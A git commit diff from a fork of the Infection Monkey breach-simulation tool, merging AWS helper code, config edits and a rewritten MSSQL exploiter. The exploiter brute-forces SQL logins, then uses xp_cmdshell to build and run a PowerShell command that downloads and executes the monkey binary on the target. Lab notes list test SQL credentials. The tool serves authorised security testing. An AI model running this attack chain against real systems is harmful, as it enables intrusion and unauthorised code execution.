forked from p15670423/monkey
Merge branch 'attack_configuration' into attack_report
# Conflicts: # monkey/monkey_island/cc/app.py # monkey/monkey_island/cc/ui/package-lock.json # monkey/monkey_island/cc/ui/package.json # monkey/monkey_island/cc/ui/src/styles/App.css
This commit is contained in:
commit
54904415bd
|
@ -82,4 +82,5 @@ MonkeyZoo/*
|
||||||
!MonkeyZoo/config.tf
|
!MonkeyZoo/config.tf
|
||||||
!MonkeyZoo/MonkeyZooDocs.pdf
|
!MonkeyZoo/MonkeyZooDocs.pdf
|
||||||
|
|
||||||
|
# vim swap files
|
||||||
|
*.swp
|
||||||
|
|
|
@ -81,33 +81,15 @@ wget -c -N -P ${ISLAND_BINARIES_PATH} ${WINDOWS_64_BINARY_URL}
|
||||||
# Allow them to be executed
|
# Allow them to be executed
|
||||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_32_BINARY_NAME"
|
||||||
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
chmod a+x "$ISLAND_BINARIES_PATH/$LINUX_64_BINARY_NAME"
|
||||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_32_BINARY_NAME"
|
|
||||||
chmod a+x "$ISLAND_BINARIES_PATH/$WINDOWS_64_BINARY_NAME"
|
|
||||||
|
|
||||||
# Get machine type/kernel version
|
# Get machine type/kernel version
|
||||||
kernel=`uname -m`
|
kernel=`uname -m`
|
||||||
linux_dist=`lsb_release -a 2> /dev/null`
|
linux_dist=`lsb_release -a 2> /dev/null`
|
||||||
|
|
||||||
# If a user haven't installed mongo manually check if we can install it with our script
|
# If a user haven't installed mongo manually check if we can install it with our script
|
||||||
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]] && { [[ ${kernel} != "x86_64" ]] || \
|
log_message "Installing MongoDB"
|
||||||
{ [[ ${linux_dist} != *"Debian"* ]] && [[ ${linux_dist} != *"Ubuntu"* ]]; }; }; then
|
${ISLAND_PATH}/linux/install_mongo.sh ${MONGO_BIN_PATH} || handle_error
|
||||||
echo "Script does not support your operating system for mongodb installation.
|
|
||||||
Reference monkey island readme and install it manually"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Download mongo
|
|
||||||
if [[ ! -f "$MONGO_BIN_PATH/mongod" ]]; then
|
|
||||||
log_message "Downloading mongodb"
|
|
||||||
if [[ ${linux_dist} == *"Debian"* ]]; then
|
|
||||||
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_DEBIAN_URL}
|
|
||||||
elif [[ ${linux_dist} == *"Ubuntu"* ]]; then
|
|
||||||
wget -c -N -O "/tmp/mongo.tgz" ${MONGO_UBUNTU_URL}
|
|
||||||
fi
|
|
||||||
tar --strip 2 --wildcards -C ${MONGO_BIN_PATH} -zxvf /tmp/mongo.tgz mongo*/bin/* || handle_error
|
|
||||||
else
|
|
||||||
log_message "Mongo db already installed"
|
|
||||||
fi
|
|
||||||
|
|
||||||
log_message "Installing openssl"
|
log_message "Installing openssl"
|
||||||
sudo apt-get install openssl
|
sudo apt-get install openssl
|
||||||
|
|
|
@ -719,19 +719,18 @@ fullTest.conf is a good config to start, because it covers all machines.
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="even">
|
<tr class="even">
|
||||||
<td>Server’s config:</td>
|
<td>Server’s config:</td>
|
||||||
<td><p>xp_cmdshell feature enabled in MSSQL server</p>
|
<td><p>xp_cmdshell feature enabled in MSSQL server</p></td>
|
||||||
<p>Server’s creds (sa): admin, }8Ys#"</p></td>
|
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="odd">
|
<tr class="odd">
|
||||||
|
<td>SQL server auth. creds:</td>
|
||||||
|
<td><p>m0nk3y : Xk8VDTsC</p></td>
|
||||||
|
</tr>
|
||||||
|
<tr class="even">
|
||||||
<td>Notes:</td>
|
<td>Notes:</td>
|
||||||
<td><p>Enabled SQL server browser service</p>
|
<td><p>Enabled SQL server browser service</p>
|
||||||
<p><a href="https://docs.microsoft.com/en-us/sql/relational-databases/lesson-2-connecting-from-another-computer?view=sql-server-2017">Enabled remote connections</a></p>
|
<p><a href="https://docs.microsoft.com/en-us/sql/relational-databases/lesson-2-connecting-from-another-computer?view=sql-server-2017">Enabled remote connections</a></p>
|
||||||
<p><a href="https://support.plesk.com/hc/en-us/articles/213397429-How-to-change-a-password-for-the-sa-user-in-MS-SQL-">Changed default password</a></p></td>
|
<p><a href="https://support.plesk.com/hc/en-us/articles/213397429-How-to-change-a-password-for-the-sa-user-in-MS-SQL-">Changed default password</a></p></td>
|
||||||
</tr>
|
</tr>
|
||||||
<tr class="even">
|
|
||||||
<td></td>
|
|
||||||
<td></td>
|
|
||||||
</tr>
|
|
||||||
</tbody>
|
</tbody>
|
||||||
</table>
|
</table>
|
||||||
|
|
||||||
|
|
|
@ -1,22 +1,48 @@
|
||||||
|
import json
|
||||||
import re
|
import re
|
||||||
import urllib2
|
import urllib2
|
||||||
|
import logging
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS = "169.254.169.254"
|
||||||
|
AWS_LATEST_METADATA_URI_PREFIX = 'http://{0}/latest/'.format(AWS_INSTANCE_METADATA_LOCAL_IP_ADDRESS)
|
||||||
|
ACCOUNT_ID_KEY = "accountId"
|
||||||
|
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class AwsInstance(object):
|
class AwsInstance(object):
|
||||||
|
"""
|
||||||
|
Class which gives useful information about the current instance you're on.
|
||||||
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
try:
|
|
||||||
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
|
|
||||||
self.region = self._parse_region(
|
|
||||||
urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read())
|
|
||||||
except urllib2.URLError:
|
|
||||||
self.instance_id = None
|
self.instance_id = None
|
||||||
self.region = None
|
self.region = None
|
||||||
|
self.account_id = None
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.instance_id = urllib2.urlopen(
|
||||||
|
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
|
||||||
|
self.region = self._parse_region(
|
||||||
|
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
|
||||||
|
except urllib2.URLError as e:
|
||||||
|
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.account_id = self._extract_account_id(
|
||||||
|
urllib2.urlopen(
|
||||||
|
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
|
||||||
|
except urllib2.URLError as e:
|
||||||
|
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _parse_region(region_url_response):
|
def _parse_region(region_url_response):
|
||||||
# For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
|
# For a list of regions, see:
|
||||||
|
# https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html
|
||||||
# This regex will find any AWS region format string in the response.
|
# This regex will find any AWS region format string in the response.
|
||||||
re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
|
re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])'
|
||||||
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
|
finding = re.findall(re_phrase, region_url_response, re.IGNORECASE)
|
||||||
|
@ -33,3 +59,21 @@ class AwsInstance(object):
|
||||||
|
|
||||||
def is_aws_instance(self):
|
def is_aws_instance(self):
|
||||||
return self.instance_id is not None
|
return self.instance_id is not None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _extract_account_id(instance_identity_document_response):
|
||||||
|
"""
|
||||||
|
Extracts the account id from the dynamic/instance-identity/document metadata path.
|
||||||
|
Based on https://forums.aws.amazon.com/message.jspa?messageID=409028 which has a few more solutions,
|
||||||
|
in case Amazon break this mechanism.
|
||||||
|
:param instance_identity_document_response: json returned via the web page ../dynamic/instance-identity/document
|
||||||
|
:return: The account id
|
||||||
|
"""
|
||||||
|
return json.loads(instance_identity_document_response)[ACCOUNT_ID_KEY]
|
||||||
|
|
||||||
|
def get_account_id(self):
|
||||||
|
"""
|
||||||
|
:return: the AWS account ID which "owns" this instance.
|
||||||
|
See https://docs.aws.amazon.com/general/latest/gr/acct-identifiers.html
|
||||||
|
"""
|
||||||
|
return self.account_id
|
||||||
|
|
|
@ -1,23 +1,44 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
import boto3
|
import boto3
|
||||||
|
import botocore
|
||||||
from botocore.exceptions import ClientError
|
from botocore.exceptions import ClientError
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
from common.cloud.aws_instance import AwsInstance
|
||||||
|
|
||||||
|
__author__ = ['itay.mizeretz', 'shay.nehmad']
|
||||||
|
|
||||||
|
INSTANCE_INFORMATION_LIST_KEY = 'InstanceInformationList'
|
||||||
|
INSTANCE_ID_KEY = 'InstanceId'
|
||||||
|
COMPUTER_NAME_KEY = 'ComputerName'
|
||||||
|
PLATFORM_TYPE_KEY = 'PlatformType'
|
||||||
|
IP_ADDRESS_KEY = 'IPAddress'
|
||||||
|
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def filter_instance_data_from_aws_response(response):
|
||||||
|
return [{
|
||||||
|
'instance_id': x[INSTANCE_ID_KEY],
|
||||||
|
'name': x[COMPUTER_NAME_KEY],
|
||||||
|
'os': x[PLATFORM_TYPE_KEY].lower(),
|
||||||
|
'ip_address': x[IP_ADDRESS_KEY]
|
||||||
|
} for x in response[INSTANCE_INFORMATION_LIST_KEY]]
|
||||||
|
|
||||||
|
|
||||||
class AwsService(object):
|
class AwsService(object):
|
||||||
"""
|
"""
|
||||||
Supplies various AWS services
|
A wrapper class around the boto3 client and session modules, which supplies various AWS services.
|
||||||
|
|
||||||
|
This class will assume:
|
||||||
|
1. That it's running on an EC2 instance
|
||||||
|
2. That the instance is associated with the correct IAM role. See
|
||||||
|
https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
access_key_id = None
|
|
||||||
secret_access_key = None
|
|
||||||
region = None
|
region = None
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def set_auth_params(access_key_id, secret_access_key):
|
|
||||||
AwsService.access_key_id = access_key_id
|
|
||||||
AwsService.secret_access_key = secret_access_key
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def set_region(region):
|
def set_region(region):
|
||||||
AwsService.region = region
|
AwsService.region = region
|
||||||
|
@ -26,15 +47,11 @@ class AwsService(object):
|
||||||
def get_client(client_type, region=None):
|
def get_client(client_type, region=None):
|
||||||
return boto3.client(
|
return boto3.client(
|
||||||
client_type,
|
client_type,
|
||||||
aws_access_key_id=AwsService.access_key_id,
|
|
||||||
aws_secret_access_key=AwsService.secret_access_key,
|
|
||||||
region_name=region if region is not None else AwsService.region)
|
region_name=region if region is not None else AwsService.region)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_session():
|
def get_session():
|
||||||
return boto3.session.Session(
|
return boto3.session.Session()
|
||||||
aws_access_key_id=AwsService.access_key_id,
|
|
||||||
aws_secret_access_key=AwsService.secret_access_key)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_regions():
|
def get_regions():
|
||||||
|
@ -50,14 +67,22 @@ class AwsService(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_instances():
|
def get_instances():
|
||||||
return \
|
"""
|
||||||
[
|
Get the information for all instances with the relevant roles.
|
||||||
{
|
|
||||||
'instance_id': x['InstanceId'],
|
|
||||||
'name': x['ComputerName'],
|
|
||||||
'os': x['PlatformType'].lower(),
|
|
||||||
'ip_address': x['IPAddress']
|
|
||||||
}
|
|
||||||
for x in AwsService.get_client('ssm').describe_instance_information()['InstanceInformationList']
|
|
||||||
]
|
|
||||||
|
|
||||||
|
This function will assume that it's running on an EC2 instance with the correct IAM role.
|
||||||
|
See https://boto3.amazonaws.com/v1/documentation/api/latest/guide/configuration.html#iam-role for details.
|
||||||
|
|
||||||
|
:raises: botocore.exceptions.ClientError if can't describe local instance information.
|
||||||
|
:return: All visible instances from this instance
|
||||||
|
"""
|
||||||
|
current_instance = AwsInstance()
|
||||||
|
local_ssm_client = boto3.client("ssm", current_instance.get_region())
|
||||||
|
try:
|
||||||
|
response = local_ssm_client.describe_instance_information()
|
||||||
|
|
||||||
|
filtered_instances_data = filter_instance_data_from_aws_response(response)
|
||||||
|
return filtered_instances_data
|
||||||
|
except botocore.exceptions.ClientError as e:
|
||||||
|
logger.warning("AWS client error while trying to get instances: " + e.message)
|
||||||
|
raise e
|
||||||
|
|
|
@ -0,0 +1,59 @@
|
||||||
|
from unittest import TestCase
|
||||||
|
from aws_service import filter_instance_data_from_aws_response
|
||||||
|
|
||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'shay.nehmad'
|
||||||
|
|
||||||
|
|
||||||
|
class TestFilter_instance_data_from_aws_response(TestCase):
|
||||||
|
def test_filter_instance_data_from_aws_response(self):
|
||||||
|
json_response_full = """
|
||||||
|
{
|
||||||
|
"InstanceInformationList": [
|
||||||
|
{
|
||||||
|
"ActivationId": "string",
|
||||||
|
"AgentVersion": "string",
|
||||||
|
"AssociationOverview": {
|
||||||
|
"DetailedStatus": "string",
|
||||||
|
"InstanceAssociationStatusAggregatedCount": {
|
||||||
|
"string" : 6
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"AssociationStatus": "string",
|
||||||
|
"ComputerName": "string",
|
||||||
|
"IamRole": "string",
|
||||||
|
"InstanceId": "string",
|
||||||
|
"IPAddress": "string",
|
||||||
|
"IsLatestVersion": "True",
|
||||||
|
"LastAssociationExecutionDate": 6,
|
||||||
|
"LastPingDateTime": 6,
|
||||||
|
"LastSuccessfulAssociationExecutionDate": 6,
|
||||||
|
"Name": "string",
|
||||||
|
"PingStatus": "string",
|
||||||
|
"PlatformName": "string",
|
||||||
|
"PlatformType": "string",
|
||||||
|
"PlatformVersion": "string",
|
||||||
|
"RegistrationDate": 6,
|
||||||
|
"ResourceType": "string"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"NextToken": "string"
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
json_response_empty = """
|
||||||
|
{
|
||||||
|
"InstanceInformationList": [],
|
||||||
|
"NextToken": "string"
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), [])
|
||||||
|
self.assertEqual(
|
||||||
|
filter_instance_data_from_aws_response(json.loads(json_response_full)),
|
||||||
|
[{'instance_id': u'string',
|
||||||
|
'ip_address': u'string',
|
||||||
|
'name': u'string',
|
||||||
|
'os': u'string'}])
|
|
@ -104,8 +104,8 @@ class Configuration(object):
|
||||||
dropper_set_date = True
|
dropper_set_date = True
|
||||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||||
dropper_date_reference_path_linux = '/bin/sh'
|
dropper_date_reference_path_linux = '/bin/sh'
|
||||||
dropper_target_path_win_32 = r"C:\Windows\monkey32.exe"
|
dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe"
|
||||||
dropper_target_path_win_64 = r"C:\Windows\monkey64.exe"
|
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
||||||
dropper_target_path_linux = '/tmp/monkey'
|
dropper_target_path_linux = '/tmp/monkey'
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
|
@ -157,7 +157,7 @@ class Configuration(object):
|
||||||
retry_failed_explotation = True
|
retry_failed_explotation = True
|
||||||
|
|
||||||
# addresses of internet servers to ping and check if the monkey has internet acccess.
|
# addresses of internet servers to ping and check if the monkey has internet acccess.
|
||||||
internet_services = ["monkey.guardicore.com", "www.google.com"]
|
internet_services = ["updates.infectionmonkey.com", "www.google.com"]
|
||||||
|
|
||||||
keep_tunnel_open_time = 60
|
keep_tunnel_open_time = 60
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,7 @@ from requests.exceptions import ConnectionError
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
import infection_monkey.tunnel as tunnel
|
import infection_monkey.tunnel as tunnel
|
||||||
from infection_monkey.config import WormConfiguration, GUID
|
from infection_monkey.config import WormConfiguration, GUID
|
||||||
from infection_monkey.network.info import local_ips, check_internet_access
|
from infection_monkey.network.info import local_ips, check_internet_access, TIMEOUT
|
||||||
from infection_monkey.transport.http import HTTPConnectProxy
|
from infection_monkey.transport.http import HTTPConnectProxy
|
||||||
from infection_monkey.transport.tcp import TcpProxy
|
from infection_monkey.transport.tcp import TcpProxy
|
||||||
|
|
||||||
|
@ -19,9 +19,6 @@ requests.packages.urllib3.disable_warnings()
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
DOWNLOAD_CHUNK = 1024
|
DOWNLOAD_CHUNK = 1024
|
||||||
# random number greater than 5,
|
|
||||||
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
|
|
||||||
TIMEOUT = 15
|
|
||||||
|
|
||||||
|
|
||||||
class ControlClient(object):
|
class ControlClient(object):
|
||||||
|
|
|
@ -25,8 +25,8 @@
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||||
"dropper_log_path_linux": "/tmp/user-1562",
|
"dropper_log_path_linux": "/tmp/user-1562",
|
||||||
"dropper_set_date": true,
|
"dropper_set_date": true,
|
||||||
"dropper_target_path_win_32": "C:\\Windows\\monkey32.exe",
|
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\monkey64.exe",
|
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
|
|
||||||
monkey_dir_linux = '/tmp/monkey_dir',
|
monkey_dir_linux = '/tmp/monkey_dir',
|
||||||
|
@ -45,7 +45,8 @@
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter"
|
"HadoopExploiter",
|
||||||
|
"VSFTPDExploiter"
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
|
|
@ -62,3 +62,4 @@ from infection_monkey.exploit.struts2 import Struts2Exploiter
|
||||||
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
from infection_monkey.exploit.weblogic import WebLogicExploiter
|
||||||
from infection_monkey.exploit.hadoop import HadoopExploiter
|
from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||||
|
from infection_monkey.exploit.vsftpd import VSFTPDExploiter
|
||||||
|
|
|
@ -1,12 +1,15 @@
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
|
from time import sleep
|
||||||
import pymssql
|
import pymssql
|
||||||
|
import textwrap
|
||||||
|
|
||||||
from infection_monkey.exploit import HostExploiter, mssqlexec_utils
|
from infection_monkey.exploit import HostExploiter, tools
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
|
from infection_monkey.exploit.tools import HTTPTools
|
||||||
__author__ = 'Maor Rayzin'
|
from infection_monkey.config import WormConfiguration
|
||||||
|
from infection_monkey.model import DROPPER_ARG
|
||||||
|
from infection_monkey.exploit.tools import get_monkey_dest_path
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -17,78 +20,89 @@ class MSSQLExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
LOGIN_TIMEOUT = 15
|
LOGIN_TIMEOUT = 15
|
||||||
|
# Time in seconds to wait between MSSQL queries.
|
||||||
|
QUERY_BUFFER = 0.5
|
||||||
SQL_DEFAULT_TCP_PORT = '1433'
|
SQL_DEFAULT_TCP_PORT = '1433'
|
||||||
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat')
|
# Temporary file that saves commands for monkey's download and execution.
|
||||||
DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat'
|
TMP_FILE_NAME = 'tmp_monkey.bat'
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(MSSQLExploiter, self).__init__(host)
|
super(MSSQLExploiter, self).__init__(host)
|
||||||
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
|
||||||
|
|
||||||
def create_payload_file(self, payload_path):
|
|
||||||
"""
|
|
||||||
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
|
||||||
:param payload_path: A path to the create the payload file in
|
|
||||||
:return: True if the payload file was created and false otherwise.
|
|
||||||
"""
|
|
||||||
try:
|
|
||||||
with open(payload_path, 'w+') as payload_file:
|
|
||||||
payload_file.write('dir C:\\')
|
|
||||||
return True
|
|
||||||
except Exception as e:
|
|
||||||
LOG.error("Payload file couldn't be created", exc_info=True)
|
|
||||||
return False
|
|
||||||
|
|
||||||
def exploit_host(self):
|
def exploit_host(self):
|
||||||
"""
|
# Brute force to get connection
|
||||||
Main function of the mssql brute force
|
|
||||||
Return:
|
|
||||||
True or False depends on process success
|
|
||||||
"""
|
|
||||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||||
|
cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list)
|
||||||
|
|
||||||
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
|
if not cursor:
|
||||||
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
|
|
||||||
|
|
||||||
if not self.create_payload_file(payload_path):
|
|
||||||
return False
|
|
||||||
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
|
||||||
payload_path):
|
|
||||||
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def handle_payload(self, cursor, payload):
|
# Get monkey exe for host and it's path
|
||||||
"""
|
src_path = tools.get_target_monkey(self.host)
|
||||||
Handles the process of payload sending and execution, prepares the attack and details.
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||||
Args:
|
|
||||||
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
|
||||||
payload (string): Payload path
|
|
||||||
|
|
||||||
Return:
|
|
||||||
True or False depends on process success
|
|
||||||
"""
|
|
||||||
|
|
||||||
chosen_attack = self.attacks_list[0](payload, cursor, self.host)
|
|
||||||
|
|
||||||
if chosen_attack.send_payload():
|
|
||||||
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
|
||||||
if chosen_attack.execute_payload():
|
|
||||||
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
|
||||||
chosen_attack.cleanup_files()
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
|
||||||
else:
|
|
||||||
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
|
||||||
|
|
||||||
chosen_attack.cleanup_files()
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
# Create server for http download and wait for it's startup.
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||||
|
if not http_path:
|
||||||
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||||
|
return False
|
||||||
|
LOG.info("Started http server on %s", http_path)
|
||||||
|
|
||||||
|
dst_path = get_monkey_dest_path(http_path)
|
||||||
|
tmp_file_path = os.path.join(WormConfiguration.monkey_dir_windows, MSSQLExploiter.TMP_FILE_NAME)
|
||||||
|
|
||||||
|
# Create monkey dir.
|
||||||
|
commands = ["xp_cmdshell \"mkdir %s\"" % WormConfiguration.monkey_dir_windows]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
|
||||||
|
# Form download command in a file
|
||||||
|
commands = [
|
||||||
|
"xp_cmdshell \"<nul set /p=powershell (new-object System.Net.WebClient).DownloadFile>%s\"" % tmp_file_path,
|
||||||
|
"xp_cmdshell \"<nul set /p=(^\'%s^\' >>%s\"" % (http_path, tmp_file_path),
|
||||||
|
"xp_cmdshell \"<nul set /p=, ^\'%s^\') >>%s\"" % (dst_path, tmp_file_path)]
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||||
|
|
||||||
|
# Form monkey's command in a file
|
||||||
|
monkey_args = tools.build_monkey_commandline(self.host,
|
||||||
|
tools.get_monkey_depth() - 1,
|
||||||
|
dst_path)
|
||||||
|
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||||
|
for part in textwrap.wrap(monkey_args, 40)]
|
||||||
|
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||||
|
commands.extend(monkey_args)
|
||||||
|
MSSQLExploiter.execute_command(cursor, commands)
|
||||||
|
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def run_file(cursor, file_path):
|
||||||
|
command = ["exec xp_cmdshell \"%s\"" % file_path]
|
||||||
|
return MSSQLExploiter.execute_command(cursor, command)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def execute_command(cursor, cmds):
|
||||||
|
"""
|
||||||
|
Executes commands on MSSQL server
|
||||||
|
:param cursor: MSSQL connection
|
||||||
|
:param cmds: list of commands in MSSQL syntax.
|
||||||
|
:return: True if successfully executed, false otherwise.
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
# Running the cmd on remote host
|
||||||
|
for cmd in cmds:
|
||||||
|
cursor.execute(cmd)
|
||||||
|
sleep(MSSQLExploiter.QUERY_BUFFER)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
|
||||||
|
return False
|
||||||
|
return True
|
||||||
|
|
||||||
|
def brute_force(self, host, port, users_passwords_pairs_list):
|
||||||
"""
|
"""
|
||||||
Starts the brute force connection attempts and if needed then init the payload process.
|
Starts the brute force connection attempts and if needed then init the payload process.
|
||||||
Main loop starts here.
|
Main loop starts here.
|
||||||
|
@ -96,7 +110,6 @@ class MSSQLExploiter(HostExploiter):
|
||||||
Args:
|
Args:
|
||||||
host (str): Host ip address
|
host (str): Host ip address
|
||||||
port (str): Tcp port that the host listens to
|
port (str): Tcp port that the host listens to
|
||||||
payload (str): Local path to the payload
|
|
||||||
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
||||||
|
|
||||||
Return:
|
Return:
|
||||||
|
@ -113,19 +126,11 @@ class MSSQLExploiter(HostExploiter):
|
||||||
'using user: {1}, password: {2}'.format(host, user, password))
|
'using user: {1}, password: {2}'.format(host, user, password))
|
||||||
self.report_login_attempt(True, user, password)
|
self.report_login_attempt(True, user, password)
|
||||||
cursor = conn.cursor()
|
cursor = conn.cursor()
|
||||||
|
return cursor
|
||||||
# Handles the payload and return True or False
|
|
||||||
if self.handle_payload(cursor, payload):
|
|
||||||
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
LOG.warning("user: {0} and password: {1}, "
|
|
||||||
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
|
||||||
.format(user, password, host, payload))
|
|
||||||
except pymssql.OperationalError:
|
except pymssql.OperationalError:
|
||||||
# Combo didn't work, hopping to the next one
|
# Combo didn't work, hopping to the next one
|
||||||
pass
|
pass
|
||||||
|
|
||||||
